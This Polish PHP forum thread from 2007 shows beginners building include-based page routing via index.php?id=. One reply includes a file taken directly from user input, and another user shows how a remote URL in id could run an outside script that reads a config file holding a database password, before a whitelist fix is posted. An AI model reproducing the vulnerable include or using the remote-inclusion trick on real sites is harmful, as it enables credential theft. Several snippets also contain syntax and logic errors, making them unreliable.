Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

 
Reply to this topicStart new topic
> Include - Linki, Include
E-Kukis
post 18.06.2007, 10:34:55
Post #1





Grupa: Zarejestrowani
Postów: 3
Pomógł: 0
Dołączył: 18.06.2007

Ostrzeżenie: (0%)
-----


Mam wielki problem! Robie strone o grze i chce zastosować linki index.php?id=test no i zrobiłem tam gdzie się ma wyświetlać zawartość działu czyli pośrodku kod php wstawiłem

  1. <?
  2. if($_GET['id']=="test"){
  3. include("test.php");
  4. }
  5.  
  6. include("news/show_news.php");
  7.  
  8. ?>


To include show_news.php to żeby na stronie głównej się newsy wyświetlały. No i jak wchodze w link index.php?id=test to otwiera mi się zawartość działu test nad newsami mad.gif . Ja chce żeby jak wejde w link ndex.php?id=test otwierał się on ale żeby newsy znikały. Żeby był sam dział test.

Tutaj macie strone www.simsportal.yoyo.pl na yoyo bo narazie w budowie. No i wejdźcie w dział kontakt. I tam wlasnie jest link ndex.php?id=test w kontakt i zobaczcie jak to działa..

Jak zrobić żeby sie newsy nie pokazywały w linku ndex.php?id=test. I jeszcze co zrobić że jak wejde w link np index.php?id=bleble to żeby sie wyświetlało że błąd wyskoczyl ze nie ma takiego pliku. CHodzi mi oto żeby w środku dział się wyświetlał że nie ma takiego pliku.

Ten post edytował E-Kukis 18.06.2007, 10:59:06
Go to the top of the page
+Quote Post
Moli
post 18.06.2007, 10:38:33
Post #2





Grupa: Zarejestrowani
Postów: 662
Pomógł: 45
Dołączył: 26.03.2007
Skąd: Warszawa

Ostrzeżenie: (0%)
-----


  1. <?php
  2. if ( $_GET['id'] == 'test' ) include 'test.php' ;
  3. else include 'news/show_news.php' ;
  4. ?>

lub
  1. <?php
  2. if ( empty( $_GET['id'] ) ) include 'news/show_news.php' ;
  3. else if ( $_GET['id'] == 'test' ) include 'test.php' ;
  4. else echo 'Brak takiego dzialu';
  5. ?>


Ten post edytował Moli 18.06.2007, 10:39:27
Go to the top of the page
+Quote Post
E-Kukis
post 18.06.2007, 10:41:32
Post #3





Grupa: Zarejestrowani
Postów: 3
Pomógł: 0
Dołączył: 18.06.2007

Ostrzeżenie: (0%)
-----


Ale ten kod co dałeś pokaże że jak tego pliku nie ma otworzy show_news.php?

Ohhh działa!! Dzięki!! A jeszcze powie mi ktoś jak zrobić że jak nie ma takiego pliku utworzy sie np. blad.php??
Go to the top of the page
+Quote Post
cicik
post 18.06.2007, 10:45:07
Post #4





Grupa: Zarejestrowani
Postów: 219
Pomógł: 5
Dołączył: 18.07.2006
Skąd: Piekary Śląskie

Ostrzeżenie: (0%)
-----


Hmm. To ja może polecę taka stronę: www.php.net . Szczególnie polecam dział documentation. Myślę, że sporo rzeczy się wyjaśni.


--------------------
CMS dla Twojej firmy
Wojciech Małota
Go to the top of the page
+Quote Post
E-Kukis
post 18.06.2007, 10:57:30
Post #5





Grupa: Zarejestrowani
Postów: 3
Pomógł: 0
Dołączył: 18.06.2007

Ostrzeżenie: (0%)
-----


Niestety nic z tej strony nie kapuje. Teraz próboje dać taki kod żeby zrobić kilka linków np test.php forum.php itp. No i żeby tylko na stronie głównej się newsy wyświetlały. Tak jak wcześniej. I chce dać taki kod:

  1. <?php
  2. if($_GET['id']=="test"){
  3. include("test.php");
  4. else include 'news/show_news.php' ;
  5. }
  6. if($_GET['id']=="forum"){
  7. include("forum.php");
  8. else include 'news/show_news.php' ;
  9. }
  10.  
  11. ?>


I wywala błędy. Co zrobić?
Go to the top of the page
+Quote Post
thornag
post 18.06.2007, 11:31:32
Post #6





Grupa: Zarejestrowani
Postów: 504
Pomógł: 2
Dołączył: 31.03.2006
Skąd: Londyn

Ostrzeżenie: (0%)
-----


Przede wszystkim przeczytac jakis kurs PHP dla poczatkujacych, napewno wyjasni to wiecej niz propozycja cicika smile.gif.

Co do kodu to jak przeczytasz kurs to na pewno stanie sie jasne co i jak.

  1. <?php
  2. if(isset($_GET['id'])) {
  3. switch($_GET['if']) {
  4.  case 'forum':
  5. include 'forum.php';
  6. break;
  7.  case 'download':
  8. ... etc ...
  9.  
  10.  default:
  11. include 'blad.php';
  12. }
  13. } else {
  14.  include 'news.php';
  15. }
  16. ?>


Ten post edytował thornag 18.06.2007, 11:33:15


--------------------
"Wizja czasu jest szeroka, lecz kiedy sie przez nia przechodzi, czas staje sie waskimi drzwiami"

Go to the top of the page
+Quote Post
cicik
post 18.06.2007, 11:37:17
Post #7





Grupa: Zarejestrowani
Postów: 219
Pomógł: 5
Dołączył: 18.07.2006
Skąd: Piekary Śląskie

Ostrzeżenie: (0%)
-----


Cytat(E-Kukis @ 18.06.2007, 11:57:30 ) *
Niestety nic z tej strony nie kapuje.


Niestety żeby zacząć pisać jakieś programy najpierw trzeba troszkę poczytać. Faktycznie może jakiś kurs dla początkujących będzie lepszy na początek.


--------------------
CMS dla Twojej firmy
Wojciech Małota
Go to the top of the page
+Quote Post
SunSet
post 19.06.2007, 07:04:54
Post #8





Grupa: Zarejestrowani
Postów: 3
Pomógł: 0
Dołączył: 19.06.2007

Ostrzeżenie: (0%)
-----


robidz 1 plik *.php (najlepiej index.php) z cala szata graficzna itp. tam gdzie ma byc tresc dajesz:

  1. <?php
  2.  
  3.  if (isset($_GET['id'])) $id=$_GET['id'];
  4. else $id='';
  5.  
  6.  if (file_exists($id.'.html') include($id.'.html');
  7. else include('main.html');
  8.  
  9. ?>


skrypt dziala tak robisz pliki html (lub php wtedy html zamieniasz na php) dajesz w nim jaks tresc np. robisz plik lalala.html i wpisujesz w nim lalalala... robisz link:

  1. <a href=index.php?id=lalala'>lalal</a>


i jak go klinkniesz to w miejscu tamtego skryptu bedzie text lalalal... bo taka jest zawartosc pliku lalala.html winksmiley.jpg

plik main.html to jest domyslny plik jako jego zawartosc daj newsy winksmiley.jpg

posta pisalem na szybko wiec moga byc bledy ortograficzne i logiczne za ktore przepraszam winksmiley.jpg
Go to the top of the page
+Quote Post
cicik
post 19.06.2007, 07:45:07
Post #9





Grupa: Zarejestrowani
Postów: 219
Pomógł: 5
Dołączył: 18.07.2006
Skąd: Piekary Śląskie

Ostrzeżenie: (0%)
-----


I jeszcze umieść na serwerze plik konfiguracyjny z hasłem do bazy danych. Nazwij go np. konfig.xml.
Wtedy ja otworzę u Ciebie stronę index.php?id=http://www.php-art.pl/hack

I na serwerze www.php-art.pl umieszcze plik hack.html o treści:

<?php
readfile('konfig.xml');
?>

Jak myślisz, co się pokaże?

Co prawda Twój serwer musi być odpowiednio skonfigurowany żeby to działało ale przy domyslnej konfiguracji tak właśnie jest.


--------------------
CMS dla Twojej firmy
Wojciech Małota
Go to the top of the page
+Quote Post
SunSet
post 19.06.2007, 07:57:30
Post #10





Grupa: Zarejestrowani
Postów: 3
Pomógł: 0
Dołączył: 19.06.2007

Ostrzeżenie: (0%)
-----


wyszedlem z zalozenie ze nie trzyma zadnych tajnych plikow winksmiley.jpg

teraz nie mam juz dostepu do kompa ale jak wroce napisze jak mozna zabezpieczyc ten plik winksmiley.jpg
zrobie to za jakies 3-4h winksmiley.jpg

---edit---

troche z opoznieniem ale winksmiley.jpg

  1. <?php
  2.  
  3.  $strony=array('main','news','cos','cos2',itd...);
  4.  
  5.  if (isset($_GET['id'])) $id=$_GET['id'];
  6. else $id='';
  7.  if (!in_array($id,$strony)) $id=$strony[0];
  8.  
  9.  if (file_exists($id.'.html') include($id.'.html');
  10. else include('main.html')
  11.  
  12. ?>


znowu moze byc blad ale imo to juz jest swego rodzaju zabezpieczenie winksmiley.jpg ale moge sie mylic gdyz ciagle sie ucze winksmiley.jpg

Ten post edytował SunSet 19.06.2007, 12:10:54
Go to the top of the page
+Quote Post

Reply to this topicStart new topic
1 Użytkowników czyta ten temat (1 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Wersja Lo-Fi Aktualny czas: 18.06.2025 - 22:55